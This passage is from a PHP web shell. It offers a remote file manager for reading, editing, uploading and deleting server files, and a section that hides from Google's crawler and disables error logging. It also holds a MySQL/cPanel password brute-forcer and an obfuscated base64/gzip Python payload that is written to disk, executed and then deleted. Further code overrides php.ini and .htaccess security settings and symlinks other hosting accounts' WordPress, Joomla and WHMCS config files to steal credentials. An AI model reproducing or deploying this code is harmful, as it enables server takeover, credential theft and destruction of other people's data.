1769echo '<form enctype="multipart/form-data" method="POST">
1770Upload File : <input type="file" name="file" />
1771<input type="submit" value="upload" />
1772</form>
1773</td></tr>';
1774 if(isset($_GET['filesrc'])){
1775 echo "<tr><td>Current File : ";
1776 echo $_GET['filesrc'];
1777 echo '</tr></td></table><br />';
1778 echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
1779}elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
1780 echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
1781 if($_POST['opt'] == 'chmod'){
1782 if(isset($_POST['perm'])){
1783 if(chmod($_POST['path'],$_POST['perm'])){
1784 echo '<font color="green">Change Permission Done.</font><br />';
1785 }else{
1786 echo '<font color="red">Change Permission Error.</font><br />';
1787 }
1788 }
1789 echo '<form method="POST">
1790 Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
1791 <input type="hidden" name="path" value="'.$_POST['path'].'">
1792 <input type="hidden" name="opt" value="chmod">
1793 <input type="submit" value="Go" />
1794 </form>';
1795 }elseif($_POST['opt'] == 'rename'){
1796 if(isset($_POST['newname'])){
1797 if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
1798 echo '<font color="green">Change Name Done.</font><br />';
1799 }else{
1800 echo '<font color="red">Change Name Error.</font><br />';
1801 }
1802 $_POST['name'] = $_POST['newname'];
1803 }
1804 echo '<form method="POST">
1805 New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
1806 <input type="hidden" name="path" value="'.$_POST['path'].'">
1807 <input type="hidden" name="opt" value="rename">
1808 <input type="submit" value="Go" />
1809 </form>';
1810 }elseif($_POST['opt'] == 'edit'){
1811 if(isset($_POST['src'])){
1812 $fp = fopen($_POST['path'],'w');
1813 if(fwrite($fp,$_POST['src'])){
1814 echo '<font color="green">Edit File Done.</font><br />';
1815 }else{
1816 echo '<font color="red">Edit File Error.</font><br />';
1817 }
1818 fclose($fp);
1819 }
1820 echo '<form method="POST">
1821 <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
1822 <input type="hidden" name="path" value="'.$_POST['path'].'">
1823 <input type="hidden" name="opt" value="edit">
1824 <input type="submit" value="Go" />
1825 </form>';
1826 }
1827 echo '</center>';
1828}else{
1829 echo '</table><br /><center>';
1830 if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
1831 if($_POST['type'] == 'dir'){
1832 if(rmdir($_POST['path'])){
1833 echo '<font color="green">Delete Dir Done.</font><br />';
1834 }else{
1835 echo '<font color="red">Delete Dir Error.</font><br />';
1836 }
1837 }elseif($_POST['type'] == 'file'){
1838 if(unlink($_POST['path'])){
1839 echo '<font color="green">Delete File Done.</font><br />';
1840 }else{
1841 echo '<font color="red">Delete File Error.</font><br />';
1842 }
1843 }
1844 }
1845 echo '</center>';
1846 $scandir = scandir($path);
1847 echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
1848 <tr class="first">
1849 <td><center>Name</center></td>
1850 <td><center>Size</center></td>
1851 <td><center>Permissions</center></td>
1852 <td><center>Options</center></td>
1853 </tr>';
1854
1855 foreach($scandir as $dir){
1856 if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
1857 echo "<tr>
1858 <td><a href=\"?mini_shell&path=$path/$dir\">$dir</a></td>
1859 <td><center>--</center></td>
1860 <td><center>";
1861 if(is_writable("$path/$dir")) echo '<font color="green">';
1862 elseif(!is_readable("$path/$dir")) echo '<font color="red">';
1863 echo permsa("$path/$dir");
1864 if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
1865
1866 echo "</center></td>
1867 <td><center><form method=\"POST\" action=\"?mini_shell&option&path=$path\">
1868 <select name=\"opt\">
1869 <option value=\"\"></option>
1870 <option value=\"delete\">Delete</option>
1871 <option value=\"chmod\">Chmod</option>
1872 <option value=\"rename\">Rename</option>
1873 </select>
1874 <input type=\"hidden\" name=\"type\" value=\"dir\">
1875 <input type=\"hidden\" name=\"name\" value=\"$dir\">
1876 <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
1877 <input type=\"submit\" value=\">\" />
1878 </form></center></td>
1879 </tr>";
1880 }
1881 echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
1882 foreach($scandir as $file){
1883 if(!is_file("$path/$file")) continue;
1884 $size = filesize("$path/$file")/1024;
1885 $size = round($size,3);
1886 if($size >= 1024){
1887 $size = round($size/1024,2).' MB';
1888 }else{
1889 $size = $size.' KB';
1890 }
1891
1892 echo "<tr>
1893 <td><a href=\"?mini_shell&filesrc=$path/$file&path=$path\">$file</a></td>
1894 <td><center>".$size."</center></td>
1895 <td><center>";
1896 if(is_writable("$path/$file")) echo '<font color="green">';
1897 elseif(!is_readable("$path/$file")) echo '<font color="red">';
1898 echo permsa("$path/$file");
1899 if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
1900 echo "</center></td>
1901 <td><center><form method=\"POST\" action=\"?mini_shell&option&path=$path\">
1902 <select name=\"opt\">
1903 <option value=\"\"></option>
1904 <option value=\"delete\">Delete</option>
1905 <option value=\"chmod\">Chmod</option>
1906 <option value=\"rename\">Rename</option>
1907 <option value=\"edit\">Edit</option>
1908 </select>
1909 <input type=\"hidden\" name=\"type\" value=\"file\">
1910 <input type=\"hidden\" name=\"name\" value=\"$file\">
1911 <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
1912 <input type=\"submit\" value=\">\" />
1913 </form></center></td>
1914 </tr>";
1915 }
1916 echo '</table>
1917 </div>';
1918}
1919echo '
1920</BODY>
1921</HTML>';
1922
1923
1924exit;
1925}
1926else if(isset($_GET['cp']))
1927{
1928
1929
1930$default_action = 'FilesMan';
1931@define('SELF_PATH', __FILE__);
1932if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
1933 header('HTTP/1.0 404 Not Found');
1934 exit;
1935}
1936@session_start();
1937@error_reporting(0);
1938@ini_set('error_log',NULL);
1939@ini_set('log_errors',0);
1940@ini_set('max_execution_time',0);
1941@set_time_limit(0);
1942@set_magic_quotes_runtime(0);
1943@define('VERSION', '2.1');
1944if( get_magic_quotes_gpc() ) {
1945 function stripslashes_array($array) {
1946 return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
1947 }
1948 $_POST = stripslashes_array($_POST);
1949}
1950
1951
1952@set_time_limit(0);
1953@error_reporting(0);
1954$login_time = 3600 * 24 * 7;
1955$hijau = array("#00FF00", "#006400", "#888888");
1956$merah = array("#FF0000", "#640000", "#888888");
1957$biru = array("#0000FF", "#000064", "#888888");
1958$kuning = array("#FFFF00", "#646400", "#888888");
1959$cyan = array("#00FFFF", "#006464", "#888888");
1960$pink = array("#FF00FF", "#640064", "#888888");
1961$theme = "hijau";
1962if(isset($_COOKIE['theme'])) $theme = $_COOKIE['theme'];
1963switch(isset($_GET['x'])){
1964case 'green':
1965if(isset($_COOKIE['theme'])) $theme = $_COOKIE['theme'];
1966$theme = "hijau";
1967setcookie("theme", $theme ,time() + $login_time);
1968break;
1969case 'red':
1970if(isset($_COOKIE['theme'])) $theme = $_COOKIE['theme'];
1971$theme = "merah";
1972setcookie("theme", $theme ,time() + $login_time);
1973break;
1974case 'blue':
1975if(isset($_COOKIE['theme'])) $theme = $_COOKIE['theme'];
1976$theme = "biru";
1977setcookie("theme", $theme ,time() + $login_time);
1978break;
1979case 'yellow':
1980if(isset($_COOKIE['theme'])) $theme = $_COOKIE['theme'];
1981$theme = "kuning";
1982setcookie("theme", $theme ,time() + $login_time);
1983break;
1984case 'cyan':
1985if(isset($_COOKIE['theme'])) $theme = $_COOKIE['theme'];
1986$theme = "cyan";
1987setcookie("theme", $theme ,time() + $login_time);
1988break;
1989case 'pink':
1990if(isset($_COOKIE['theme'])) $theme = $_COOKIE['theme'];
1991$theme = "pink";
1992setcookie("theme", $theme ,time() + $login_time);
1993break;
1994}
1995if($theme == "hijau")
1996{$color = $hijau;}
1997elseif($theme == "merah")
1998{$color = $merah;}
1999elseif($theme == "biru")
2000{$color = $biru;}
2001elseif($theme == "kuning")
2002{$color = $kuning;}
2003elseif($theme == "cyan")
2004{$color = $cyan;}
2005else
2006{$color = $pink;}
2007echo '<head>
2008<style type="text/css">
2009<!--
2010body {
2011 background-color: #000000;
2012 font-family: Verdana;
2013 font-size: 13px;
2014 color: #EB4949;
2015 margin:5px;
2016}
2017input,textarea,select{
2018color: #EB4949;
2019font-size: 13px;
2020border: 1px solid #EB4949;
2021background-color: #080808;
2022}
2023input:hover,textarea:hover,select:hover{
2024color: #EB4949;
2025font-size: 13px;
2026border: 1px solid #EB4949;
2027background-color: #080808;
2028}
2029a {
2030 background-color: #000000;
2031 vertical-align: bottom;
2032 text-decoration: none;
2033 font-size: 13px;
2034 color:#EB4949;
2035}
2036a:hover {
2037 background-color: #080808;
2038 vertical-align: bottom;
2039 text-decoration: none;
2040 font-size: 13px;
2041 color:#EB4949;
2042}
2043.label {
2044 font-size: 13px;
2045 color: #EB4949;
2046 padding:3px;
2047}
2048td {
2049border-bottom:2px solid #EB4949;
2050background:#222;
2051}
2052-->
2053</style>
2054</head>
2055';
2056if(isset($_POST['page']) == 'find')
2057{
2058if(isset($_POST['usernames']) && isset($_POST['passwords']))
2059{
2060 if($_POST['type'] == 'passwd'){
2061 $e = explode("\n",$_POST['usernames']);
2062 foreach($e as $value){
2063 $k = explode(":",$value);
2064 $username .= $k['0']." ";
2065 }
2066 }elseif($_POST['type'] == 'simple'){
2067 $username = str_replace("\n",' ',$_POST['usernames']);
2068 }
2069 $a1 = explode(" ",$username);
2070 $a2 = explode("\n",$_POST['passwords']);
2071 $id2 = count($a2);
2072 $ok = 0;
2073 foreach($a1 as $user )
2074 {
2075 if($user !== '')
2076 {
2077 $user=trim($user);
2078 for($i=0;$i<=$id2;$i++)
2079 {
2080 $pass = trim($a2[$i]);
2081 if(@mysql_connect('localhost',$user,$pass))
2082 {
2083 echo "Virus Sites ~~~ User : (<font color='#EB4949'>$user</font>) Pass : (<font color='#EB4949'>$pass</font>)<br />";
2084 $ok++;
2085 }
2086 }
2087 }
2088 }
2089 echo "<body style='background:#000000;color:#ffffff;font-size:17px;font-family:Tahoma,Verdana,Arial;'><hr noshade size=1>";
2090 echo "<center>[Done] : <font color='#EB4949'>You Found</font> $ok <font color='#EB4949'>CPanel,</font> <a href=".$_SERVER['PHP_SELF']." style='text-decoration:none;'><input type='button' value='Back !'></a></center></body>";
2091 exit;
2092}
2093}
2094if(isset($_POST['pass1']) == 'password'){
2095error_reporting(0);
2096mkdir('config',0755);
2097$cp =
2098'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';
2099$file = fopen("cp.py","w+");
2100$write = fwrite ($file , htmlspecialchars_decode(gzinflate(base64_decode($cp))));
2101fclose($file);
2102chmod("cp.py",0755);
2103$url = $_POST['url'];
2104echo"<center>
2105<textarea cols=\"90\" rows=\"20\" name=\"usernames\">";
2106system("python cp.py $url config");
2107unlink ('cp.py');
2108echo"</textarea>
2109</center>";
2110echo "<body style='background:#000000;color:#ffffff;font-size:17px;font-family:Tahoma,Verdana,Arial;'><br/><center>[Done] : <span style='color:#EB4949;'>Successfull, </span> <a href=".$_SERVER['PHP_SELF']." style='text-decoration:none;'><input type='button' value='Back !'></a></center></body>";
2111exit;
2112}
2113if(isset($_POST['matikan']) =='sekatan'){
2114@error_reporting(0);
2115$phpini =
2116'c2FmZV9tb2RlPU9GRg0KZGlzYWJsZV9mdW5jdGlvbnM9Tk9ORQ==';
2117$file = fopen("php.ini","w+");
2118$write = fwrite ($file ,base64_decode($phpini));
2119fclose($file);
2120$htaccess =
2121'T3B0aW9ucyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQ==';
2122$file = fopen(".htaccess","w+");
2123$write = fwrite ($file ,base64_decode($htaccess));
2124echo "<body style='background:#000000;color:#ffffff;font-size:17px;font-family:Tahoma,Verdana,Arial;'><br/><center>[Done] : <span style='color:".$color[0].";'>Successfull, </span> <a href=".$_SERVER['PHP_SELF']." style='text-decoration:none;'><input type='button' value='Back !'></a></center></body>";
2125exit;
2126}
2127if(isset($_POST['mendapatkan']) == 'passwd'){
2128@set_magic_quotes_runtime(0);
2129ob_start();
2130error_reporting(0);
2131@set_time_limit(0);
2132@ini_set('max_execution_time',0);
2133@ini_set('output_buffering',0);
2134$fn = $_POST['foldername'];
2135function syml($usern,$pdomain)
2136 {
2137 symlink('/home/'.$usern.'/public_html/inc/config.php',$pdomain.'~~MyBB.txt');
2138 symlink('/home/'.$usern.'/public_html/sites/default/settings.php',$pdomain.'~~Drupal.txt');
2139 symlink('/home/'.$usern.'/public_html/includes/configure.php',$pdomain.'~~Oscommerce.txt');
2140 symlink('/home/'.$usern.'/public_html/lib/config.php',$pdomain.'~~Balitbang.txt');
2141 symlink('/home/'.$usern.'/public_html/config/koneksi.php',$pdomain.'~~Lokomedia.txt');
2142 symlink('/home/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
2143 symlink('/home/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
2144 symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
2145 symlink('/home/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
2146 symlink('/home/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
2147 symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
2148 symlink('/home/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
2149 symlink('/home/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
2150 symlink('/home/'.$usern.'/public_html/wp/wp-config.php',$pdomain.'~~Wordpress3.txt');
2151 symlink('/home/'.$usern.'/public_html/home/wp-config.php',$pdomain.'~~Wordpress4.txt');
2152 symlink('/home/'.$usern.'/public_html/main/wp-config.php',$pdomain.'~~Wordpress5.txt');
2153 symlink('/home/'.$usern.'/public_html/site/wp-config.php',$pdomain.'~~Wordpress6.txt');
2154 symlink('/home/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
2155 symlink('/home/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
2156 symlink('/home/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
2157 symlink('/home/'.$usern.'/public_html/main/configuration.php',$pdomain.'~~Joomla4.txt');
2158 symlink('/home/'.$usern.'/public_html/home/configuration.php',$pdomain.'~~Joomla5.txt');
2159 symlink('/home/'.$usern.'/public_html/site/configuration.php',$pdomain.'~~Joomla6.txt');
2160 symlink('/home/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
2161 symlink('/home/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
2162 symlink('/home/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
2163 symlink('/home/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
2164 symlink('/home/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
2165 symlink('/home/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
2166 symlink('/home/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
2167 symlink('/home/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
2168 symlink('/home/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
2169 symlink('/home/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~Other1.txt');
2170 symlink('/home/'.$usern.'/public_html/admin/config.php',$pdomain.'~~Other2.txt');
2171 symlink('/home/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
2172 symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~Other3.txt');
2173 symlink('/home/'.$usern.'/public_html/connect.php',$pdomain.'~~Other4.txt');
2174 symlink('/home/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
2175 symlink('/home/'.$usern.'/public_html/include/config.php',$pdomain.'~~Other5.txt');
2176 symlink('/home/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
2177 symlink('/home/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
2178 symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
2179 symlink('/home2/'.$usern.'/public_html/inc/config.php',$pdomain.'~~MyBB.txt');
2180 symlink('/home2/'.$usern.'/public_html/sites/default/settings.php',$pdomain.'~~Drupal.txt');
2181 symlink('/home2/'.$usern.'/public_html/includes/configure.php',$pdomain.'~~Oscommerce.txt');
2182 symlink('/home2/'.$usern.'/public_html/lib/config.php',$pdomain.'~~Balitbang.txt');
2183 symlink('/home2/'.$usern.'/public_html/config/koneksi.php',$pdomain.'~~Lokomedia.txt');
2184 symlink('/home2/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
2185 symlink('/home2/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
2186 symlink('/home2/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
2187 symlink('/home2/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
2188 symlink('/home2/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
2189 symlink('/home2/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
2190 symlink('/home2/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
2191 symlink('/home2/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
2192 symlink('/home2/'.$usern.'/public_html/wp/wp-config.php',$pdomain.'~~Wordpress3.txt');
2193 symlink('/home2/'.$usern.'/public_html/home/wp-config.php',$pdomain.'~~Wordpress4.txt');
2194 symlink('/home2/'.$usern.'/public_html/main/wp-config.php',$pdomain.'~~Wordpress5.txt');
2195 symlink('/home2/'.$usern.'/public_html/site/wp-config.php',$pdomain.'~~Wordpress6.txt');
2196 symlink('/home2/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
2197 symlink('/home2/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
2198 symlink('/home2/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
2199 symlink('/home2/'.$usern.'/public_html/main/configuration.php',$pdomain.'~~Joomla4.txt');
2200 symlink('/home2/'.$usern.'/public_html/home/configuration.php',$pdomain.'~~Joomla5.txt');
2201 symlink('/home2/'.$usern.'/public_html/site/configuration.php',$pdomain.'~~Joomla6.txt');
2202 symlink('/home2/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
2203 symlink('/home2/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
2204 symlink('/home2/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
2205 symlink('/home2/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
2206 symlink('/home2/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
2207 symlink('/home2/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
2208 symlink('/home2/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
2209 symlink('/home2/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
2210 symlink('/home2/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
2211 symlink('/home2/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~Other1.txt');
2212 symlink('/home2/'.$usern.'/public_html/admin/config.php',$pdomain.'~~Other2.txt');
2213 symlink('/home2/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
2214 symlink('/home2/'.$usern.'/public_html/include/db.php',$pdomain.'~~Other3.txt');
2215 symlink('/home2/'.$usern.'/public_html/connect.php',$pdomain.'~~Other4.txt');
2216 symlink('/home2/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
2217 symlink('/home2/'.$usern.'/public_html/include/config.php',$pdomain.'~~Other5.txt');
2218 symlink('/home2/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
2219 symlink('/home2/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
2220 symlink('/home2/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
2221 symlink('/home3/'.$usern.'/public_html/inc/config.php',$pdomain.'~~MyBB.txt');
2222 symlink('/home3/'.$usern.'/public_html/sites/default/settings.php',$pdomain.'~~Drupal.txt');
2223 symlink('/home3/'.$usern.'/public_html/includes/configure.php',$pdomain.'~~Oscommerce.txt');
2224 symlink('/home3/'.$usern.'/public_html/lib/config.php',$pdomain.'~~Balitbang.txt');
2225 symlink('/home3/'.$usern.'/public_html/config/koneksi.php',$pdomain.'~~Lokomedia.txt');
2226 symlink('/home3/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
2227 symlink('/home3/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
2228 symlink('/home3/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
2229 symlink('/home3/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
2230 symlink('/home3/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
2231 symlink('/home3/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
2232 symlink('/home3/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
2233 symlink('/home3/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
2234 symlink('/home3/'.$usern.'/public_html/wp/wp-config.php',$pdomain.'~~Wordpress3.txt');
2235 symlink('/home3/'.$usern.'/public_html/home/wp-config.php',$pdomain.'~~Wordpress4.txt');
2236 symlink('/home3/'.$usern.'/public_html/main/wp-config.php',$pdomain.'~~Wordpress5.txt');
2237 symlink('/home3/'.$usern.'/public_html/site/wp-config.php',$pdomain.'~~Wordpress6.txt');
2238 symlink('/home3/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
2239 symlink('/home3/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
2240 symlink('/home3/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
2241 symlink('/home3/'.$usern.'/public_html/main/configuration.php',$pdomain.'~~Joomla4.txt');
2242 symlink('/home3/'.$usern.'/public_html/home/configuration.php',$pdomain.'~~Joomla5.txt');
2243 symlink('/home3/'.$usern.'/public_html/site/configuration.php',$pdomain.'~~Joomla6.txt');
2244 symlink('/home3/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
2245 symlink('/home3/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
2246 symlink('/home3/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
2247 symlink('/home3/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
2248 symlink('/home3/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
2249 symlink('/home3/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
2250 symlink('/home3/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
2251 symlink('/home3/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
2252 symlink('/home3/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
2253 symlink('/home3/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~Other1.txt');
2254 symlink('/home3/'.$usern.'/public_html/admin/config.php',$pdomain.'~~Other2.txt');
2255 symlink('/home3/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
2256 symlink('/home3/'.$usern.'/public_html/include/db.php',$pdomain.'~~Other3.txt');
